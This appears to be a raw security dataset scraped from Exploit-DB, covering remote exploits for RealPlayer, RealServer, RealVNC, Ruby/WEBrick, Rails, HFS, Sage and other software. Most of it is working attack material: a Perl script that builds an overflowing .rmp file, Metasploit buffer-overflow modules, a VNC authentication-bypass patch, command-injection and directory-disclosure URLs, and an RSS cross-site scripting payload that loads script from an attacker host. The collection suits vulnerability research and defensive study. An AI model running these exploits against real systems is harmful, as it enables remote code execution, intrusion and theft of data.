deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35501
Description: RealPlayer 11 - '.rmp' Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2011-03-27
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/47039/info

RealPlayer is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

RealPlayer 11.0 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl

###
# Title : RealPlayer v11.0 (.rmp) Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria [PII_REDACTED]8701)
# Twitter page : twitter.com/kedans
# platform : Windows 
# Impact : Buffer Overflow
# Tested on : Windows XP SP3 Fran.ais 
# Target : RealPlayer v11.0 
###
# Note : BAC 2011 Enchallah ( KedAns 'me' & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )
# -----------------
# XML version : 1.0 in (Real Metadata Package File)
# <?xml version="1.0"?>
# <embed src="rtsp:// **BUFFER ** " autoplay="whatever" />Null
# -----------------
#START SYSTEM /root@MSdos/ :
# -----------------
system("title KedAns-Dz");
system("color 1e");
system("cls");
print "\n\n";                  
print "    |============================================================|\n";
print "    |= [!] Name : RealPlayer v11.0 Real Metadata Package File   =|\n";
print "    |= [!] Exploit : Buffer Overflow                            =|\n";
print "    |= [!] Author : KedAns-Dz                                   =|\n";
print "    |= [!] Mail: Ked-h(at)hotmail(dot)com                       =|\n";
print "    |============================================================|\n";
sleep(2);
print "\n";
# Parameter OverFlow => 
my $kA = "\x41" x 333 ; # A * 333
my $kB = "\x42" x 333 ; # B * 333
my $kC = "\x43" x 333 ; # C * 333
my $buffer = $kA.$kB.$kC ;
my $header = 
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31".
"\x2e\x30\x22\x3f\x3e\x0d\x0d\x3c\x65\x6d\x62\x65\x64\x20\x73\x72".
"\x63\x3d\x22\x72\x74\x73\x70\x3a\x2f\x2f".$buffer."\x22\x20\x61\x75\x74\x6f".
"\x70\x6c\x61\x79\x3d\x22\x77\x68\x61\x74\x65\x76\x65\x72\x22\x20".
"\x2f\x3e\x00";
# Creating ...
my $kedans = $header ; # |=:: Header & AAA...BBB...CC etc ::=| 
open (FILE ,"> Crash.rmp"); # Evil File Here
print FILE $kedans ;
print "\n [+] File successfully created!\n" or die print "\n [-] OpsS! File is Not Created !! ";
close (FILE);
Exploit-DB #16286
Description: RealServer - Describe Buffer Overflow (Metasploit)
Type: remote
Platform: multiple
Date: 2010-08-07
Author: Metasploit

Exploit:
##
# $Id: describe.rb 9971 2010-08-07 06:59:16Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealServer Describe Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in RealServer 7/8/9
				and was based on Johnny Cyberpunk's THCrealbad exploit. This
				code should reliably exploit Linux, BSD, and Windows-based
				servers.
			},
			'Author'         => 'hdm',
			'Version'        => '$Revision: 9971 $',
			'References'     =>
				[
					[ 'CVE', '2002-1643' ],
					[ 'OSVDB', '4468'],
					[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
				},
			'Targets'        =>
				[
					[
						'Universal',
						{
							'Platform' => [ 'linux', 'bsd', 'win' ]
						},
					],
				],
			'DisclosureDate' => 'Dec 20 2002',
			'DefaultTarget' => 0))
	end

	def check
		res = send_request_raw(
			{
				'method' => 'OPTIONS',
				'proto'  => 'RTSP',
				'version' => '1.0',
				'uri'    => '/'
			}, 5)

		info = http_fingerprint({ :response => res })  # check method / Custom server check
		if res and res['Server']
			print_status("Found RTSP: #{res['Server']}")
			return Exploit::CheckCode::Detected
		end
		Exploit::CheckCode::Safe
	end

	def exploit
		print_status("RealServer universal exploit launched against #{rhost}")
		print_status("Kill the master rmserver pid to prevent shell disconnect")

		encoded = Rex::Text.to_hex(payload.encoded, "%")

		res = send_request_raw({
			'method' => 'DESCRIBE',
			'proto'  => 'RTSP',
			'version' => '1.0',
			'uri'    => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
		}, 5)

		handler
	end

end
Exploit-DB #20406
Description: RealServer 5.0/6.0/7.0 - Memory Contents Disclosure
Type: remote
Platform: multiple
Date: 2000-11-16
Author: CORE-SDI

Exploit:
source : https://www.securityfocus.com/bid/1957/info


RealServer is a popular streaming audio and video server from Real Networks.

A vulnerability exists in all versions of RealServer 7 and below that could allow a remote attacker to gain administrative rights and access to server information and data belonging to other user sessions. RealServer will pass random pieces of the server's runtime memory which may contain information on previous sessions including cookies, usernames, passwords and the port number where the administrative server listens. This can be achieved by passing a specific URL request to the server.


To gather exploitable information from the RealServer, issue the following URL request to the server:

http://targetserver/admin/includes/
Exploit-DB #9937
Description: RealServer 7-9 - Describe Buffer Overflow (Metasploit)
Type: remote
Platform: multiple
Date: 2002-12-20
Author: H D Moore

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/http'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'RealServer Describe Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in RealServer 7/8/9
				and was based on Johnny Cyberpunk's THCrealbad exploit. This
				code should reliably exploit Linux, BSD, and Windows-based
				servers.
			},
			'Author'         => 'hdm',
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '4468'],
					[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'],

				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d",

				},
			'Targets'        => 
				[
					[ 
						'Universal',
						{
							'Platform' => [ 'linux', 'bsd', 'win' ]
						},
					],
				],
			'DisclosureDate' => 'Dec 20 2002',
			'DefaultTarget' => 0))
	end

	def check
		res = send_request_raw({
			'method' => 'OPTIONS',
			'proto'  => 'RTSP',
			'version' => '1.0',
			'uri'    => '/'
		}, 5)

		if response and response['Server']
			print_status("Found RTSP: #{response['Server']}")
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		print_status("RealServer universal exploit launched against #{rhost}")
		print_status("Kill the master rmserver pid to prevent shell disconnect")

		encoded = payload.encoded.gsub(/./) { |char| "%%%.2x" % char[0] }

		res = send_request_raw({
			'method' => 'DESCRIBE',
			'proto'  => 'RTSP',
			'version' => '1.0',
			'uri'    => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
		}, 5)

		handler
	end

end
Exploit-DB #1791
Description: RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Bypass
Type: remote
Platform: multiple
Date: 2006-05-16
Author: redsand

Exploit:
xx  vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx
--- vnc-4_1_1-unixsrc/common/rfb/CConnection.cxx        2005-03-11 09:08:41.000000000 -0600
+++ vnc-4_1_1-unixsrc.bl4ck/common/rfb/CConnection.cxx  2006-05-15 14:03:30.000000000 -0500
@@ -183,7 +183,12 @@

     // Inform the server of our decision
     if (secType != secTypeInvalid) {
-      os->writeU8(secType);
+
+      // [BL4CK] In response to the VNC Null Authentication
+      // force a secType to equal secTypeNone
+      // http://blacksecurity.org
+      secType = secTypeNone;
+      os->writeU8(secTypeNone);
       os->flush();
       vlog.debug("Choosing security type %s(%d)",secTypeName(secType),secType);     }

E-DB Note:
Compiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1791.rar (05162006-BL4CK-vncviewer-authbypass.rar)
Exploit-DB #1799
Description: RealVNC 4.1.0 < 4.1.1 - VNC Null Authentication Scanner
Type: remote
Platform: multiple
Date: 2006-05-17
Author: class101

Exploit:
class101 - http://heapoverflow.com
RealVNC 4.1.0 - 4.1.1 (VNC Null Authentication) Vulnerability Scanners
---------------------------------------------------------------------
windows: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1799-1.rar (05172006-VNC_bypauth-win32.rar)
linux: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1799-2.rar (05172006-VNC_bypauth-linux.tar.gz)
comments: http://heapoverflow.com/viewtopic.php?p=1729
---------------------------------------------------------------------

# milw0rm.com [2006-05-17]
Exploit-DB #30850
Description: Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Type: remote
Platform: multiple
Date: 2007-12-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26732/info

HFS HTTP File Server is prone to a vulnerability that lets attackers upload files and place them in arbitrary locations on the server. The issue occurs because the software fails to adequately sanitize user-supplied input.

A successful exploit may allow the attacker to upload malicious files and potentially execute them; this may lead to various attacks.

This issue affects versions prior to HTTP File Server 2.2b.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30850.zip
Exploit-DB #30499
Description: RndLabs Babo Violent 2 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-08-14
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25329/info

Babo Violent 2 is prone to four vulnerabilities: a format-string issue and three denial-of-service issues.

Successful attacks could allow attackers to execute arbitrary code or crash game servers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30499.zip
Exploit-DB #20104
Description: Roxen WebServer 2.0.x - '%00' Request File/Directory Disclosure
Type: remote
Platform: multiple
Date: 2000-07-21
Author: zorgon

Exploit:
source: https://www.securityfocus.com/bid/1510/info

If a request containing the null character (%00) is made to the Roxen Web Server, the server will return directory contents, and the source of unparsed scripts and html pages.

For example, a request to
http://www.server.com/%00

Will return the contents of the server's document root directory.

Versions of Roxen WebServer 2.0 prior to 2.0.69 are affected.
Exploit-DB #32224
Description: Ruby 1.9 - Safe Level Multiple Function Restriction Bypass
Type: remote
Platform: multiple
Date: 2008-08-11
Author: Keita Yamaguchi

Exploit:
source: https://www.securityfocus.com/bid/30644/info
  
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
  
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
  
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
  
- A flaw in 'dl' can allow attackers to call unauthorized functions.
  
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
  
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

class Hello
 def world
   Thread.new do
     $SAFE = 4
     msg = "Hello, World!"
     def msg.size
       self.replace self*10 # replace string
       1 # return wrong size
     end
     msg
   end.value
 end
end

$SAFE = 1 # or 2, or 3
s = Hello.new.world
if s.kind_of?(String)
 puts s if s.size < 20 # print string which size is less than 20
end
Exploit-DB #32223
Description: Ruby 1.9 dl - Module DL.dlopen Arbitrary Library Access
Type: remote
Platform: multiple
Date: 2008-08-11
Author: Keita Yamaguchi

Exploit:
source: https://www.securityfocus.com/bid/30644/info
 
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
 
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
 
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
 
- A flaw in 'dl' can allow attackers to call unauthorized functions.
 
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
 
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable. 

require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
Exploit-DB #33489
Description: Ruby 1.9.1 - WEBrick 'Terminal Escape Sequence in Logs' Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37710/info


Ruby WEBrick is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in log files.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Versions *prior to* the following are affected:

Ruby 1.8.6 patchlevel 388
Ruby 1.8.7 patchlevel 249
Ruby 1.9.1 patchlevel 378 

The following example is available:

% xterm -e ruby -rwebrick -e 'WEBrick::HTTPServer.new(:Port=>8080).start' &
% wget http://www.example.com:8080/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
Exploit-DB #35352
Description: Ruby on Rails 3.0.5 - 'WEBrick::HTTPRequest' Module HTTP Header Injection
Type: remote
Platform: multiple
Date: 2011-02-16
Author: Jimmy Bandit

Exploit:
source: https://www.securityfocus.com/bid/46423/info

Ruby on Rails is prone to a vulnerability that allows attackers to inject arbitrary content into the 'X-Forwarded-For', 'X-Forwarded-Host' and 'X-Forwarded-Server' HTTP headers because the 'WEBrick::HTTPRequest' module fails to sufficiently sanitize input.

By inserting arbitrary data into the affected HTTP header field, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

NOTE: This issue only affects requests sent from clients on the same subnet as the server.

Ruby on Rails 3.0.5 is vulnerable; other versions may also be affected. 

#Encoding: UTF-8
#
# Log-File-Injection - Ruby on Rails 3.05
# possibilities:
# - possible date back attacks (tried with request-log-analyzer: worked but teaser_check_warnings)
# - ip spoofing
# - binary log-injections
# - DOS if ip is used with an iptables-ban-script
#
# !! works only on intranet apps !!
#
# Fix:
# validate request.remote_ip until they fix it
# -----------------------
# jimmybandit.com
# http://webservsec.blogspot.com

require 'rubygems'
require 'mechanize'
require 'iconv'

ip = "192.168.1.21 "
# some shell code just for binary-data demo

payload = ip + "at Mon Jan 01 00:00:00 +1000 2009\x0D\0x0A"    # date back attacks with ipspoofing
# payload = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"      binarypayload is also possible

a = Mechanize.new 
a.pre_connect_hooks << lambda { |p| p[:request]['X-Forwarded-For'] = payload }

page = a.get('http://192.168.1.21/people')

# results 
=begin
################################
production.log:
################################
Started GET "/people" for 192.168.1.21 at Mon Jan 01 00:00:00 +1000 2009 at Sun Mar 13 17:47:47 +0100 2011
  Processing by PeopleController#index as 
Rendered people/index.html.erb within layouts/application (24.4ms)
Completed 200 OK in 63ms (Views: 32.9ms | ActiveRecord: 3.6ms)

################################
request-log-analyzer:
################################
web@debian:~/testapp/log$ request-log-analyzer production.log 
Request-log-analyzer, by Willem van Bergen and Bart ten Brinke - version 1.10.0
Website: http://railsdoctors.com

production.log:          100% [==========] Time: 00:00:00

Request summary
???????????????????????
Parsed lines:        14                    
Skipped lines:       0   <-------                 
Parsed requests:     7   <-------                  
Skipped requests:    0                     
Warnings:            teaser_check_failed: 7

First request:       2009-01-01 00:00:12
Last request:        2009-01-01 00:00:12
Total time analyzed: 0 days 
Request distribution per hour
????????????????????????????
  0:00 ? 7 hits/day ? ���������������������������������
  1:00 ? 0 hits/day ? 
  ...
=end
Exploit-DB #38387
Description: RubyGems fastreader - 'entry_controller.rb' Remote Command Execution
Type: remote
Platform: multiple
Date: 2013-03-12
Author: Larry W. Cashdollar

Exploit:
source: https://www.securityfocus.com/bid/58450/info

fastreader is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary commands in the context of the affected application.

fastreader 1.0.8 is affected; other versions may also be vulnerable. 

The following example URI is available:

http://www.g;id;.com
Exploit-DB #24581
Description: SAFE TEAM Regulus 2.2 - Staffile Information Disclosure
Type: remote
Platform: multiple
Date: 2004-09-07
Author: masud_libra

Exploit:
source: https://www.securityfocus.com/bid/11132/info

SAFE TEAM Regulus is reported prone to an information disclosure vulnerability. It is reported that any user may make a request for the Regulus 'staffile' file hosted on a target server. This file contains a list of Regulus 'staff' users and their corresponding password hashes.

An attacker may employ data that is obtained in this manner to aid in further attacks launched against the vulnerable software.

http://example.com/base-dir/access/stafffile
Exploit-DB #21876
Description: SafeTP 1.46 - Passive Mode Internal IP Address Revealing
Type: remote
Platform: multiple
Date: 2002-09-28
Author: Jonathan G. Lampe

Exploit:
source: https://www.securityfocus.com/bid/5822/info

SafeTP is a freely available, open source secure ftp client-server software package. It is available for Unix, Linux, and Microsoft Operating Systems.

It has been reported that under some circumstances, the SafeTP server may reveal sensitive network information. When a passive session is initiated in a specific manner, SafeTP may return the address of a system serving files that is behind at NAT firewall.

220-SafeTP: Negotiating FTP connection...
220-safetp.nowhere.com X2 WS_FTP Server 3.1.0[PII_REDACTED])
220-Changed to Protect the Innocent
220-safetp.nowhere.com X2 WS_FTP Server 3.1.0[PII_REDACTED])
220-*** This server can accept secure (encrypted) connections. ***
220-*** See http://safetp.cs.berkeley.edu for info. ***
220 SafeTP: Control channel secure: X-SafeTP1. Data channel secure. PBSZ=32801b
Connected to safetp.nowhere.com.
User: SomeUser
331 Password required
[CREDENTIAL_REDACTED]
230-user logged in
230-Hello Some User. Welcome to the SafeTP File Transfer System!
230 user logged in
ftp> ls
200 PORT command ok.
Timed out waiting for connection from server.
ftp> passive
Passive mode On .
ftp> ls
425 Failed to connect to 192.168.3.162, port 3303: connect: Connection timed out (code 10060)
ftp> passive
Draining: 510 Assertion failed: ftpd reply: 150 Opening ASCII data connection for directory listing
Draining: 227 Entering Passive Mode (10,7,34,85,5,133).
Passive mode Off .
ftp> put tendot.txt
227 Entering passive mode (169,229,60,94,156,186).
150 Opening ASCII data connection for tendot.txt
226 transfer complete
ftp: 1094 bytes sent in 0.98Seconds 1.09Kbytes/sec.
ftp> quit
221-Good-Bye
221-Goodbye Some User. Thank you for visiting the SafeTP File Transfer System!
221 Good-Bye
Exploit-DB #29573
Description: Sage 1.3.6 - Extension Feed HTML Injection
Type: remote
Platform: multiple
Date: 2007-02-09
Author: Fukumori

Exploit:
source: https://www.securityfocus.com/bid/22493/info

Sage Extension Feed is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Hostile HTML and script code may be injected into vulnerable sections of the application. When viewed, this code may be rendered in the browser of a user viewing a malicious RSS feed.

Sage Extension Feed 1.3.9 is vulnerable to this issue; prior versions may also be affected. 

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"


<channel>
<title>test</title>
<link>http://www.example.com/</link>
<description>test</description>
<item>
<title>test</title>
<content:encoded><![CDATA[
<SCRIPT/=''SRC='http://atackersite/xss.js'></SCRIPT>
]]>
</content:encoded>
</item>
</channel>
</rss>